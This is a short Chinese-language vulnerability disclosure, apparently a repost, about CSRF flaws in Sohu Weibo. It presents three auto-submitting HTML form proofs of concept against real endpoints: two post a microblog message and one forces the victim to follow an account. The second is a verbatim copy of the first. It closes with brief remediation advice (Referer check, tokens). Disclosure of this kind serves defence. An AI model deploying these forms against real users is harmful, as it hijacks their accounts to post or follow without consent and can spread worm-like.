搜狐微博的几处CSRF漏洞分析与解决方法
脚本之家
搜狐某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博
详细说明:
在接受POST和GET的信息的时候,未对POST来路(Referer)进行验证,同时也没有在POST的信息中加token验证信息的正确性,导致漏洞产生。
漏洞地址:
http://t.sohu.com/t/twAction.jsp
<html> www.jb51.net
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
第二个
http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
返回信息
效果
第三个:
漏洞地址:
http://t.sohu.com/follow/addfollows
<html> www.jb51.net
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
<input type="text" name="act" value="follow" />
<input type="text" name="friendids" value="23117291" />
<input type="text" name="uid" value="23117291" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
修复方案:
检查POST来路Referer
在POST的信息中加token
作者:imlonghao